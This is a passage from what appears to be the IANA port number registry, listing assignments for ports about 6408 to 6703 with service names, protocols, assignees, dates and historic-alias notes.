boe-resssvr2       6408               Business Objects Enterprise  [Wade_Richards]                                       [Wade_Richards]                                           2008-05-05
                                      internal server
boe-resssvr3       6409               Business Objects Enterprise  [Wade_Richards]                                       [Wade_Richards]                                           2008-05-05
                                      internal server
boe-resssvr4       6410               Business Objects Enterprise  [Wade_Richards]                                       [Wade_Richards]                                           2008-05-05
                                      internal server
                 6411-6416            Unassigned
faxcomservice      6417        tcp    Faxcom Message Service       [Albert_Leung]                                        [Albert_Leung]                                            2006-04
faxcomservice      6417        udp    Faxcom Message Service       [Albert_Leung]                                        [Albert_Leung]                                            2006-04
syserverremote     6418        tcp    SYserver remote commands     [David_Ashkenazi]                                     [David_Ashkenazi]                                         2010-03-23
                   6418        udp    Reserved
svdrp              6419        tcp    Simple VDR Protocol          [Klaus_Schmidinger]                                   [Klaus_Schmidinger]                                       2010-03-31
svdrp-disc         6419        udp    Simple VDR Protocol          [Klaus_Schmidinger]                                   [Klaus_Schmidinger]                                       2015-05-08
                                      Discovery
nim-vdrshell       6420        tcp    NIM_VDRShell                 [Rik_Ditter]                                          [Rik_Ditter]                                              2006-02
nim-vdrshell       6420        udp    NIM_VDRShell                 [Rik_Ditter]                                          [Rik_Ditter]                                              2006-02
nim-wan            6421        tcp    NIM_WAN                      [Rik_Ditter]                                          [Rik_Ditter]                                              2006-02
nim-wan            6421        udp    NIM_WAN                      [Rik_Ditter]                                          [Rik_Ditter]                                              2006-02
                 6422-6431            Unassigned
pgbouncer          6432        tcp    PgBouncer                    [Marko_Kreen]                                         [Marko_Kreen]                                             2009-02-13
                   6432        udp    Reserved
                 6433-6441            Unassigned
tarp               6442        tcp    Transitory Application       [Chris_Peel_2]                                        [Chris_Peel_2]                                            2014-05-16
                                      Request Protocol
                   6442        udp    Reserved
sun-sr-https       6443        tcp    Service Registry Default     [Paul_Sterk]                                          [Paul_Sterk]                                              2006-03
                                      HTTPS Domain
sun-sr-https       6443        udp    Service Registry Default     [Paul_Sterk]                                          [Paul_Sterk]                                              2006-03
                                      HTTPS Domain
                                      Grid Engine Qmaster Service

sge-qmaster        6444        tcp    IANA assigned this           [Andreas_Haas]                                        [Andreas_Haas]                                            2006-08
                                      well-formed service name as
                                      a replacement for
                                      "sge_qmaster".
                                                                                                                                                                                                                                                                                  This entry is an alias to "sge-qmaster". This entry is now
sge_qmaster        6444        tcp    Grid Engine Qmaster Service  [Andreas_Haas]                                        [Andreas_Haas]                                            2006-08                                                                                        historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      Grid Engine Qmaster Service

sge-qmaster        6444        udp    IANA assigned this           [Andreas_Haas]                                        [Andreas_Haas]                                            2006-08
                                      well-formed service name as
                                      a replacement for
                                      "sge_qmaster".
                                                                                                                                                                                                                                                                                  This entry is an alias to "sge-qmaster". This entry is now
sge_qmaster        6444        udp    Grid Engine Qmaster Service  [Andreas_Haas]                                        [Andreas_Haas]                                            2006-08                                                                                        historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      Grid Engine Execution
                                      Service

sge-execd          6445        tcp    IANA assigned this           [Andreas_Haas]                                        [Andreas_Haas]                                            2006-08
                                      well-formed service name as
                                      a replacement for
                                      "sge_execd".
                                      Grid Engine Execution                                                                                                                                                                                                                       This entry is an alias to "sge-execd". This entry is now
sge_execd          6445        tcp    Service                      [Andreas_Haas]                                        [Andreas_Haas]                                            2006-08                                                                                        historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      Grid Engine Execution
                                      Service

sge-execd          6445        udp    IANA assigned this           [Andreas_Haas]                                        [Andreas_Haas]                                            2006-08
                                      well-formed service name as
                                      a replacement for
                                      "sge_execd".
                                      Grid Engine Execution                                                                                                                                                                                                                       This entry is an alias to "sge-execd". This entry is now
sge_execd          6445        udp    Service                      [Andreas_Haas]                                        [Andreas_Haas]                                            2006-08                                                                                        historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
mysql-proxy        6446        tcp    MySQL Proxy                  [Kay_Roepke]                                          [Kay_Roepke]                                              2009-04-22
mysql-proxy        6446        udp    MySQL Proxy                  [Kay_Roepke]                                          [Kay_Roepke]                                              2009-04-22
                 6447-6454            Unassigned
skip-cert-recv     6455        tcp    SKIP Certificate Receive     [Tom_Markson]                                         [Tom_Markson]
skip-cert-recv     6455        udp    SKIP Certificate Receive     [Tom_Markson]                                         [Tom_Markson]
skip-cert-send     6456        tcp    SKIP Certificate Send        [Tom_Markson]                                         [Tom_Markson]
skip-cert-send     6456        udp    SKIP Certificate Send        [Tom_Markson]                                         [Tom_Markson]
                 6457-6463            Unassigned
                                      Port assignment for medical
ieee11073-20701    6464        tcp    device communication in      [David_Gregorczyk]                                    [David_Gregorczyk]                                        2017-03-02
                                      accordance to IEEE
                                      11073-20701
                                      Port assignment for medical
ieee11073-20701    6464        udp    device communication in      [David_Gregorczyk]                                    [David_Gregorczyk]                                        2017-03-02
                                      accordance to IEEE
                                      11073-20701
                 6465-6470            Unassigned
lvision-lm         6471        tcp    LVision License Manager      [Brian_McKinnon]                                      [Brian_McKinnon]
lvision-lm         6471        udp    LVision License Manager      [Brian_McKinnon]                                      [Brian_McKinnon]
                 6472-6479            Unassigned
sun-sr-http        6480        tcp    Service Registry Default     [Paul_Sterk]                                          [Paul_Sterk]                                              2006-03
                                      HTTP Domain
sun-sr-http        6480        udp    Service Registry Default     [Paul_Sterk]                                          [Paul_Sterk]                                              2006-03
                                      HTTP Domain
servicetags        6481        tcp    Service Tags                 [Peter_Schow]                                         [Peter_Schow]                                             2007-01
servicetags        6481        udp    Service Tags                 [Peter_Schow]                                         [Peter_Schow]                                             2007-01
ldoms-mgmt         6482        tcp    Logical Domains Management   [Eric_Sharakan]                                       [Eric_Sharakan]                                           2008-02-14
                                      Interface
ldoms-mgmt         6482        udp    Logical Domains Management   [Eric_Sharakan]                                       [Eric_Sharakan]                                           2008-02-14
                                      Interface
SunVTS-RMI         6483        tcp    SunVTS RMI                   [Sumit_Arora]                                         [Sumit_Arora]                                             2007-06
SunVTS-RMI         6483        udp    SunVTS RMI                   [Sumit_Arora]                                         [Sumit_Arora]                                             2007-06
sun-sr-jms         6484        tcp    Service Registry Default JMS [Paul_Sterk]                                          [Paul_Sterk]                                              2006-03
                                      Domain
sun-sr-jms         6484        udp    Service Registry Default JMS [Paul_Sterk]                                          [Paul_Sterk]                                              2006-03
                                      Domain
sun-sr-iiop        6485        tcp    Service Registry Default     [Paul_Sterk]                                          [Paul_Sterk]                                              2006-03
                                      IIOP Domain
sun-sr-iiop        6485        udp    Service Registry Default     [Paul_Sterk]                                          [Paul_Sterk]                                              2006-03
                                      IIOP Domain
sun-sr-iiops       6486        tcp    Service Registry Default     [Paul_Sterk]                                          [Paul_Sterk]                                              2006-03
                                      IIOPS Domain
sun-sr-iiops       6486        udp    Service Registry Default     [Paul_Sterk]                                          [Paul_Sterk]                                              2006-03
                                      IIOPS Domain
sun-sr-iiop-aut    6487        tcp    Service Registry Default     [Paul_Sterk]                                          [Paul_Sterk]                                              2006-03
                                      IIOPAuth Domain
sun-sr-iiop-aut    6487        udp    Service Registry Default     [Paul_Sterk]                                          [Paul_Sterk]                                              2006-03
                                      IIOPAuth Domain
sun-sr-jmx         6488        tcp    Service Registry Default JMX [Paul_Sterk]                                          [Paul_Sterk]                                              2006-03
                                      Domain
sun-sr-jmx         6488        udp    Service Registry Default JMX [Paul_Sterk]                                          [Paul_Sterk]                                              2006-03
                                      Domain
sun-sr-admin       6489        tcp    Service Registry Default     [Paul_Sterk]                                          [Paul_Sterk]                                              2006-03
                                      Admin Domain
sun-sr-admin       6489        udp    Service Registry Default     [Paul_Sterk]                                          [Paul_Sterk]                                              2006-03
                                      Admin Domain
                 6490-6499            Unassigned
boks               6500        tcp    BoKS Master                  [Magnus_Nystrom]                                      [Magnus_Nystrom]
boks               6500        udp    BoKS Master                  [Magnus_Nystrom]                                      [Magnus_Nystrom]
                                      BoKS Servc
                                                                                                                                                                                                                                                                     Known
boks-servc         6501        tcp    IANA assigned this           [Magnus_Nystrom]                                      [Magnus_Nystrom]                                                                                                                            Unauthorized
                                      well-formed service name as                                                                                                                                                                                                    Use on port
                                      a replacement for                                                                                                                                                                                                              6501
                                      "boks_servc".
                                                                                                                                                                                                                                                                     Known        This entry is an alias to "boks-servc". This entry is now
boks_servc         6501        tcp    BoKS Servc                   [Magnus_Nystrom]                                      [Magnus_Nystrom]                                                                                                                            Unauthorized historic, not usable for use with many common service
                                                                                                                                                                                                                                                                     Use on port  discovery mechanisms.
                                                                                                                                                                                                                                                                     6501
                                      BoKS Servc

boks-servc         6501        udp    IANA assigned this           [Magnus_Nystrom]                                      [Magnus_Nystrom]
                                      well-formed service name as
                                      a replacement for
                                      "boks_servc".
                                                                                                                                                                                                                                                                                  This entry is an alias to "boks-servc". This entry is now
boks_servc         6501        udp    BoKS Servc                   [Magnus_Nystrom]                                      [Magnus_Nystrom]                                                                                                                                         historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      BoKS Servm

boks-servm         6502        tcp    IANA assigned this           [Magnus_Nystrom]                                      [Magnus_Nystrom]
                                      well-formed service name as
                                      a replacement for
                                      "boks_servm".
                                                                                                                                                                                                                                                                                  This entry is an alias to "boks-servm". This entry is now
boks_servm         6502        tcp    BoKS Servm                   [Magnus_Nystrom]                                      [Magnus_Nystrom]                                                                                                                                         historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      BoKS Servm

boks-servm         6502        udp    IANA assigned this           [Magnus_Nystrom]                                      [Magnus_Nystrom]
                                      well-formed service name as
                                      a replacement for
                                      "boks_servm".
                                                                                                                                                                                                                                                                                  This entry is an alias to "boks-servm". This entry is now
boks_servm         6502        udp    BoKS Servm                   [Magnus_Nystrom]                                      [Magnus_Nystrom]                                                                                                                                         historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      BoKS Clntd

boks-clntd         6503        tcp    IANA assigned this           [Magnus_Nystrom]                                      [Magnus_Nystrom]
                                      well-formed service name as
                                      a replacement for
                                      "boks_clntd".
                                                                                                                                                                                                                                                                                  This entry is an alias to "boks-clntd". This entry is now
boks_clntd         6503        tcp    BoKS Clntd                   [Magnus_Nystrom]                                      [Magnus_Nystrom]                                                                                                                                         historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      BoKS Clntd

boks-clntd         6503        udp    IANA assigned this           [Magnus_Nystrom]                                      [Magnus_Nystrom]
                                      well-formed service name as
                                      a replacement for
                                      "boks_clntd".
                                                                                                                                                                                                                                                                                  This entry is an alias to "boks-clntd". This entry is now
boks_clntd         6503        udp    BoKS Clntd                   [Magnus_Nystrom]                                      [Magnus_Nystrom]                                                                                                                                         historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                   6504               Unassigned
                                      BoKS Admin Private Port

badm-priv          6505        tcp    IANA assigned this           [Magnus_Nystrom]                                      [Magnus_Nystrom]
                                      well-formed service name as
                                      a replacement for
                                      "badm_priv".
                                                                                                                                                                                                                                                                                  This entry is an alias to "badm-priv". This entry is now
badm_priv          6505        tcp    BoKS Admin Private Port      [Magnus_Nystrom]                                      [Magnus_Nystrom]                                                                                                                                         historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      BoKS Admin Private Port

badm-priv          6505        udp    IANA assigned this           [Magnus_Nystrom]                                      [Magnus_Nystrom]
                                      well-formed service name as
                                      a replacement for
                                      "badm_priv".
                                                                                                                                                                                                                                                                                  This entry is an alias to "badm-priv". This entry is now
badm_priv          6505        udp    BoKS Admin Private Port      [Magnus_Nystrom]                                      [Magnus_Nystrom]                                                                                                                                         historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      BoKS Admin Public Port

badm-pub           6506        tcp    IANA assigned this           [Magnus_Nystrom]                                      [Magnus_Nystrom]
                                      well-formed service name as
                                      a replacement for
                                      "badm_pub".
                                                                                                                                                                                                                                                                                  This entry is an alias to "badm-pub". This entry is now
badm_pub           6506        tcp    BoKS Admin Public Port       [Magnus_Nystrom]                                      [Magnus_Nystrom]                                                                                                                                         historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      BoKS Admin Public Port

badm-pub           6506        udp    IANA assigned this           [Magnus_Nystrom]                                      [Magnus_Nystrom]
                                      well-formed service name as
                                      a replacement for
                                      "badm_pub".
                                                                                                                                                                                                                                                                                  This entry is an alias to "badm-pub". This entry is now
badm_pub           6506        udp    BoKS Admin Public Port       [Magnus_Nystrom]                                      [Magnus_Nystrom]                                                                                                                                         historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      BoKS Dir Server, Private
                                      Port

bdir-priv          6507        tcp    IANA assigned this           [Magnus_Nystrom]                                      [Magnus_Nystrom]
                                      well-formed service name as
                                      a replacement for
                                      "bdir_priv".
                                      BoKS Dir Server, Private                                                                                                                                                                                                                    This entry is an alias to "bdir-priv". This entry is now
bdir_priv          6507        tcp    Port                         [Magnus_Nystrom]                                      [Magnus_Nystrom]                                                                                                                                         historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      BoKS Dir Server, Private
                                      Port

bdir-priv          6507        udp    IANA assigned this           [Magnus_Nystrom]                                      [Magnus_Nystrom]
                                      well-formed service name as
                                      a replacement for
                                      "bdir_priv".
                                      BoKS Dir Server, Private                                                                                                                                                                                                                    This entry is an alias to "bdir-priv". This entry is now
bdir_priv          6507        udp    Port                         [Magnus_Nystrom]                                      [Magnus_Nystrom]                                                                                                                                         historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      BoKS Dir Server, Public Port

bdir-pub           6508        tcp    IANA assigned this           [Magnus_Nystrom]                                      [Magnus_Nystrom]
                                      well-formed service name as
                                      a replacement for
                                      "bdir_pub".
                                                                                                                                                                                                                                                                                  This entry is an alias to "bdir-pub". This entry is now
bdir_pub           6508        tcp    BoKS Dir Server, Public Port [Magnus_Nystrom]                                      [Magnus_Nystrom]                                                                                                                                         historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      BoKS Dir Server, Public Port

bdir-pub           6508        udp    IANA assigned this           [Magnus_Nystrom]                                      [Magnus_Nystrom]
                                      well-formed service name as
                                      a replacement for
                                      "bdir_pub".
                                                                                                                                                                                                                                                                                  This entry is an alias to "bdir-pub". This entry is now
bdir_pub           6508        udp    BoKS Dir Server, Public Port [Magnus_Nystrom]                                      [Magnus_Nystrom]                                                                                                                                         historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
mgcs-mfp-port      6509        tcp    MGCS-MFP Port                [Minoru_Ozaki]                                        [Minoru_Ozaki]
mgcs-mfp-port      6509        udp    MGCS-MFP Port                [Minoru_Ozaki]                                        [Minoru_Ozaki]
mcer-port          6510        tcp    MCER Port                    [Portnoy_Boxman]                                      [Portnoy_Boxman]
mcer-port          6510        udp    MCER Port                    [Portnoy_Boxman]                                      [Portnoy_Boxman]
                   6511        tcp    Reserved
                                      Datagram Congestion Control
dccp-udp           6511        udp    Protocol Encapsulation for   [IESG]                                                [IETF_Chair]                                                                        [RFC6773]
                                      NAT Traversal
                 6512-6512            Unassigned
netconf-tls        6513        tcp    NETCONF over TLS             [IESG]                                                [IETF_Chair]                                                           2015-04-15   [RFC7589]
                   6513        udp    Reserved
syslog-tls         6514        tcp    Syslog over TLS                                                                                                                                                        [RFC5425]
syslog-tls         6514        udp    syslog over DTLS                                                                                                                                                       [RFC6012]
syslog-tls         6514       dccp    syslog over DTLS                                                                                                                                                       [RFC6012]
elipse-rec         6515        tcp    Elipse RPC Protocol          [F_Englert]                                           [F_Englert]                                               2007-09-17
elipse-rec         6515        udp    Elipse RPC Protocol          [F_Englert]                                           [F_Englert]                                               2007-09-17
                 6516-6542            Unassigned
lds-distrib        6543        tcp    lds_distrib                  [Jack_Baker]                                          [Jack_Baker]                                              2003-06
lds-distrib        6543        udp    lds_distrib                  [Jack_Baker]                                          [Jack_Baker]                                              2003-06
lds-dump           6544        tcp    LDS Dump Service             [Jack_Baker]                                          [Jack_Baker]                                              2006-02
lds-dump           6544        udp    LDS Dump Service             [Jack_Baker]                                          [Jack_Baker]                                              2006-02
                 6545-6546            Unassigned
apc-6547           6547        tcp    APC 6547                     [American_Power_Conve]                                [American_Power_Conve]
apc-6547           6547        udp    APC 6547                     [American_Power_Conve]                                [American_Power_Conve]
apc-6548           6548        tcp    APC 6548                     [American_Power_Conve]                                [American_Power_Conve]
apc-6548           6548        udp    APC 6548                     [American_Power_Conve]                                [American_Power_Conve]
apc-6549           6549        tcp    APC 6549                     [American_Power_Conve]                                [American_Power_Conve]
apc-6549           6549        udp    APC 6549                     [American_Power_Conve]                                [American_Power_Conve]
fg-sysupdate       6550        tcp    fg-sysupdate                 [Mark_Beyer]                                          [Mark_Beyer]
fg-sysupdate       6550        udp    fg-sysupdate                 [Mark_Beyer]                                          [Mark_Beyer]
sum                6551        tcp    Software Update Manager      [Jan_Dirven]                                          [Jan_Dirven]                                              2007-12-13
sum                6551        udp    Software Update Manager      [Jan_Dirven]                                          [Jan_Dirven]                                              2007-12-13
                 6552-6557            Unassigned
xdsxdm             6558        tcp                                 [Brian_Tackett]                                       [Brian_Tackett]                                                                                                                                          possible contact
xdsxdm             6558        udp                                 [Brian_Tackett]                                       [Brian_Tackett]                                                                                                                                          possible contact
                 6559-6565            Unassigned
sane-port          6566        tcp    SANE Control Port            [Henning_Meier_Geinit]                                [Henning_Meier_Geinit]                                    2002-10
sane-port          6566        udp    SANE Control Port            [Henning_Meier_Geinit]                                [Henning_Meier_Geinit]                                    2002-10
                   6567               Reserved                                                                                                                                     2007-01      2011-08-26                                                                        This entry has been removed on 2011-08-26.
                                      CanIt Storage Manager

canit-store        6568        tcp    IANA assigned this           [Dianne_Skoll]                                        [Dianne_Skoll]                                            2009-04-22   2017-05-25
                                      well-formed service name as
                                      a replacement for
                                      "canit_store".
                                                                                                                                                                                                                                                                                  This entry is an alias to "canit-store". This entry is now
canit_store        6568        tcp    CanIt Storage Manager        [Dianne_Skoll]                                        [Dianne_Skoll]                                            2009-04-22   2017-05-25                                                                        historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
rp-reputation      6568        udp    Roaring Penguin IP Address   [Dianne_Skoll]                                        [Dianne_Skoll]                                            2010-02-05   2017-05-25
                                      Reputation Collection
                 6569-6578            Unassigned
affiliate          6579        tcp    Affiliate                    [David_Catmull]                                       [David_Catmull]                                           2006-01
affiliate          6579        udp    Affiliate                    [David_Catmull]                                       [David_Catmull]                                           2006-01
parsec-master      6580        tcp    Parsec Masterserver          [Andreas_Varga]                                       [Andreas_Varga]
parsec-master      6580        udp    Parsec Masterserver          [Andreas_Varga]                                       [Andreas_Varga]
parsec-peer        6581        tcp    Parsec Peer-to-Peer          [Andreas_Varga]                                       [Andreas_Varga]
parsec-peer        6581        udp    Parsec Peer-to-Peer          [Andreas_Varga]                                       [Andreas_Varga]
parsec-game        6582        tcp    Parsec Gameserver            [Andreas_Varga]                                       [Andreas_Varga]
parsec-game        6582        udp    Parsec Gameserver            [Andreas_Varga]                                       [Andreas_Varga]
joaJewelSuite      6583        tcp    JOA Jewel Suite              [Bob_Rundle]                                          [Bob_Rundle]                                              2005-11
joaJewelSuite      6583        udp    JOA Jewel Suite              [Bob_Rundle]                                          [Bob_Rundle]                                              2005-11
                 6584-6587            Unassigned
                                                                                                                                                                                                                                                                     Unofficial
                                                                                                                                                                                                                                                                     use of port
                   6588               Unassigned                                                                                                                                                                                                                     6588 by
                                                                                                                                                                                                                                                                     AnalogX and
                                                                                                                                                                                                                                                                     Microsoft
                 6589-6599            Unassigned
mshvlm             6600        tcp    Microsoft Hyper-V Live       [Rajesh_D]                                            [Rajesh_D]                                                2009-02-03
                                      Migration
                   6600        udp    Reserved
mstmg-sstp         6601        tcp    Microsoft Threat Management  [Ori_Yosefi]                                          [Ori_Yosefi]                                              2009-05-04
                                      Gateway SSTP
                   6601        udp    Reserved
wsscomfrmwk        6602        tcp    Windows WSS Communication    [Rong_Yu]                                             [Rong_Yu]                                                 2010-08-10
                                      Framework
                   6602        udp    Reserved
                 6603-6618            Unassigned
odette-ftps        6619        tcp    ODETTE-FTP over TLS/SSL      [Ieuan_Friend]                                        [Ieuan_Friend]                                            2006-03                   [RFC5024]
odette-ftps        6619        udp    ODETTE-FTP over TLS/SSL      [Ieuan_Friend]                                        [Ieuan_Friend]                                            2006-03                   [RFC5024]
kftp-data          6620        tcp    Kerberos V5 FTP Data         [Robert_J_Scott]                                      [Robert_J_Scott]                                          2005-08
kftp-data          6620        udp    Kerberos V5 FTP Data         [Robert_J_Scott]                                      [Robert_J_Scott]                                          2005-08
kftp               6621        tcp    Kerberos V5 FTP Control      [Robert_J_Scott]                                      [Robert_J_Scott]                                          2005-08
kftp               6621        udp    Kerberos V5 FTP Control      [Robert_J_Scott]                                      [Robert_J_Scott]                                          2005-08
mcftp              6622        tcp    Multicast FTP                [Bruce_Lueckenhoff_2]                                 [Bruce_Lueckenhoff_2]                                     2006-02
mcftp              6622        udp    Multicast FTP                [Bruce_Lueckenhoff_2]                                 [Bruce_Lueckenhoff_2]                                     2006-02
ktelnet            6623        tcp    Kerberos V5 Telnet           [Robert_J_Scott]                                      [Robert_J_Scott]                                          2005-08
ktelnet            6623        udp    Kerberos V5 Telnet           [Robert_J_Scott]                                      [Robert_J_Scott]                                          2005-08
datascaler-db      6624        tcp    DataScaler database          [Vasu_Murthy]                                         [Vasu_Murthy]                                             2010-02-08
                   6624        udp    Reserved
datascaler-ctl     6625        tcp    DataScaler control           [Vasu_Murthy]                                         [Vasu_Murthy]                                             2010-02-08
                   6625        udp    Reserved
wago-service       6626        tcp    WAGO Service and Update      [Wolfgang_Adler]                                      [Wolfgang_Adler]                                          2006-04
wago-service       6626        udp    WAGO Service and Update      [Wolfgang_Adler]                                      [Wolfgang_Adler]                                          2006-04
nexgen             6627        tcp    Allied Electronics NeXGen    [Lou_Seitchik]                                        [Lou_Seitchik]                                            2005-08
nexgen             6627        udp    Allied Electronics NeXGen    [Lou_Seitchik]                                        [Lou_Seitchik]                                            2005-08
afesc-mc           6628        tcp    AFE Stock Channel M/C        [K_K_Ho]                                              [K_K_Ho]                                                  2004-04
afesc-mc           6628        udp    AFE Stock Channel M/C        [K_K_Ho]                                              [K_K_Ho]                                                  2004-04
                                      Secondary, (non ANDI)
                                      multi-protocol
nexgen-aux         6629        tcp    multi-function interface to  [Allied_Electronics]                                  [Robert_E_Tomenchok_Jr]                                   2016-11-29
                                      the Allied ANDI-based family
                                      of forecourt controllers
                                      Secondary, (non ANDI)
                                      multi-protocol
nexgen-aux         6629        udp    multi-function interface to  [Allied_Electronics]                                  [Robert_E_Tomenchok_Jr]                                   2016-11-29
                                      the Allied ANDI-based family
                                      of forecourt controllers
                   6630               Unassigned
                   6631               Unassigned                                                                                                                                   2004-05-28
                                                                                                                                                                                                                                                                     Unauthorized
mxodbc-connect     6632        tcp    eGenix mxODBC Connect        [Marc_Andre_Lemburg]                                  [Marc_Andre_Lemburg]                                      2009-11-13                                                                        Use Known on
                                                                                                                                                                                                                                                                     port 6632
                   6632        udp    Reserved
                   6633        tcp    Reserved
cisco-vpath-tun    6633        udp    Cisco vPath Services Overlay [Cisco2]                                              [Surendra_Kumar]                                          2012-06-11
mpls-pm            6634        udp    MPLS Performance Measurement [Cisco_Systems_2]                                     [Sagar_Soni]                                              2014-02-20
                                      out-of-band response
                   6634        tcp    Reserved
                   6635        tcp    Reserved
mpls-udp           6635        udp    Encapsulate MPLS packets in  [IESG]                                                [IETF_Chair]                                              2015-02-10                [RFC7510]
                                      UDP tunnels.
                   6636        tcp    Reserved
mpls-udp-dtls      6636        udp    Encapsulate MPLS packets in  [IESG]                                                [IETF_Chair]                                              2015-02-10                [RFC7510]
                                      UDP tunnels with DTLS.
                 6637-6639            Unassigned
ovsdb              6640        tcp    Open vSwitch Database        [Bruce_Davie_2]                                       [Bruce_Davie_2]                                           2013-07-31                [RFC7047]
                                      protocol
                   6640        udp    Reserved
                 6641-6652            Unassigned
openflow           6653        tcp    OpenFlow                     [Open_Networking_Foundation]                          [Puneet_Agarwal]                                          2013-07-18
openflow           6653        udp    OpenFlow                     [Open_Networking_Foundation]                          [Puneet_Agarwal]                                          2013-07-18
                   6654               Unassigned
pcs-sf-ui-man      6655        tcp    PC SOFT - Software factory   [Jerome_AERTS]                                        [Jerome_AERTS]                                            2010-11-30
                                      UI/manager
                   6655        udp    Reserved
emgmsg             6656        tcp    Emergency Message Control    [Gerry_Gorman]                                        [Gerry_Gorman]                                            2010-12-06
                                      Service
                   6656        udp    Reserved
                   6657        tcp    Reserved
palcom-disc        6657        udp    PalCom Discovery             [Boris_Magnusson]                                     [Boris_Magnusson]                                         2010-12-06
                                                                                                                                                                                                                                                                     Unauthorized
                 6658-6664            Unassigned                                                                                                                                                                                                                     Use Known on
                                                                                                                                                                                                                                                                     Port 6659
ircu             6665-6669     tcp    IRCU                         [Brian_Tackett]                                       [Brian_Tackett]
                 6665-6669     udp    Reserved
vocaltec-gold      6670        tcp    Vocaltec Global Online       [Scott_Petrack]                                       [Scott_Petrack]
                                      Directory
vocaltec-gold      6670        udp    Vocaltec Global Online       [Scott_Petrack]                                       [Scott_Petrack]
                                      Directory
p4p-portal         6671        tcp    P4P Portal Service           [Chris_Griffiths]                                     [Chris_Griffiths]                                         2008-07-28
p4p-portal         6671        udp    P4P Portal Service           [Chris_Griffiths]                                     [Chris_Griffiths]                                         2008-07-28
                                      vision_server

vision-server      6672        tcp    IANA assigned this           [Chris_Kramer]                                        [Chris_Kramer]
                                      well-formed service name as
                                      a replacement for
                                      "vision_server".
                                                                                                                                                                                                                                                                                  This entry is an alias to "vision-server". This entry is now
vision_server      6672        tcp    vision_server                [Chris_Kramer]                                        [Chris_Kramer]                                                                                                                                           historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      vision_server

vision-server      6672        udp    IANA assigned this           [Chris_Kramer]                                        [Chris_Kramer]
                                      well-formed service name as
                                      a replacement for
                                      "vision_server".
                                                                                                                                                                                                                                                                                  This entry is an alias to "vision-server". This entry is now
vision_server      6672        udp    vision_server                [Chris_Kramer]                                        [Chris_Kramer]                                                                                                                                           historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      vision_elmd

vision-elmd        6673        tcp    IANA assigned this           [Chris_Kramer]                                        [Chris_Kramer]
                                      well-formed service name as
                                      a replacement for
                                      "vision_elmd".
                                                                                                                                                                                                                                                                                  This entry is an alias to "vision-elmd". This entry is now
vision_elmd        6673        tcp    vision_elmd                  [Chris_Kramer]                                        [Chris_Kramer]                                                                                                                                           historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      vision_elmd

vision-elmd        6673        udp    IANA assigned this           [Chris_Kramer]                                        [Chris_Kramer]
                                      well-formed service name as
                                      a replacement for
                                      "vision_elmd".
                                                                                                                                                                                                                                                                                  This entry is an alias to "vision-elmd". This entry is now
vision_elmd        6673        udp    vision_elmd                  [Chris_Kramer]                                        [Chris_Kramer]                                                                                                                                           historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                 6674-6677            Unassigned
vfbp               6678        tcp    Viscount Freedom Bridge      [Chris_MacDonald]                                     [Chris_MacDonald]                                         2011-03-16
                                      Protocol
vfbp-disc          6678        udp    Viscount Freedom Bridge      [Chris_MacDonald]                                     [Chris_MacDonald]                                         2011-03-16
                                      Discovery
osaut              6679        tcp    Osorno Automation            [Peter_Hombach]                                       [Peter_Hombach]                                           2011-03-16
osaut              6679        udp    Osorno Automation            [Peter_Hombach]                                       [Peter_Hombach]                                           2011-03-16
                 6680-6686            Unassigned
clever-ctrace      6687        tcp    CleverView for cTrace        [David_Cheng]                                         [David_Cheng]                                             2010-02-01
                                      Message Service
                   6687        udp    Reserved
clever-tcpip       6688        tcp    CleverView for TCP/IP        [David_Cheng]                                         [David_Cheng]                                             2009-10-13
                                      Message Service
                   6688        udp    Reserved
tsa                6689        tcp    Tofino Security Appliance    [Scott_Howard]                                        [Scott_Howard]                                            2009-10-13
tsa                6689        udp    Tofino Security Appliance    [Scott_Howard]                                        [Scott_Howard]                                            2009-10-13
cleverdetect       6690        tcp    CLEVERDetect Message Service [Applied_Expert_Systems_Inc]                          [David_Cheng]                                             2014-12-03
                   6690        udp    Reserved
                 6691-6695            Unassigned
                   6696        tcp    Reserved
babel              6696        udp    Babel Routing Protocol                                                                                                                                    2011-08-15   [RFC6126]
ircs-u             6697        tcp    Internet Relay Chat via                                                                                                                      2014-02-11                [RFC7194]
                                      TLS/SSL
                   6697        udp    Reserved                                                                                                                                     2014-02-11
                 6698-6699            Unassigned
                   6700               Unassigned                                                                                                                                   2010-01-26
kti-icad-srvr      6701        tcp    KTI/ICAD Nameserver          [Stanley_Knutson]                                     [Stanley_Knutson]
kti-icad-srvr      6701        udp    KTI/ICAD Nameserver          [Stanley_Knutson]                                     [Stanley_Knutson]
                   6701       sctp    Unassigned                                                                                                                                                2010-01-26
e-design-net       6702        tcp    e-Design network             [Janos_Lerch]                                         [Janos_Lerch]                                             2006-02
e-design-net       6702        udp    e-Design network             [Janos_Lerch]                                         [Janos_Lerch]                                             2006-02
                   6702       sctp    Unassigned                                                                                                                                                2010-01-26
e-design-web       6703        tcp    e-Design web                 [Janos_Lerch]                                         [Janos_Lerch]                                             2006-02
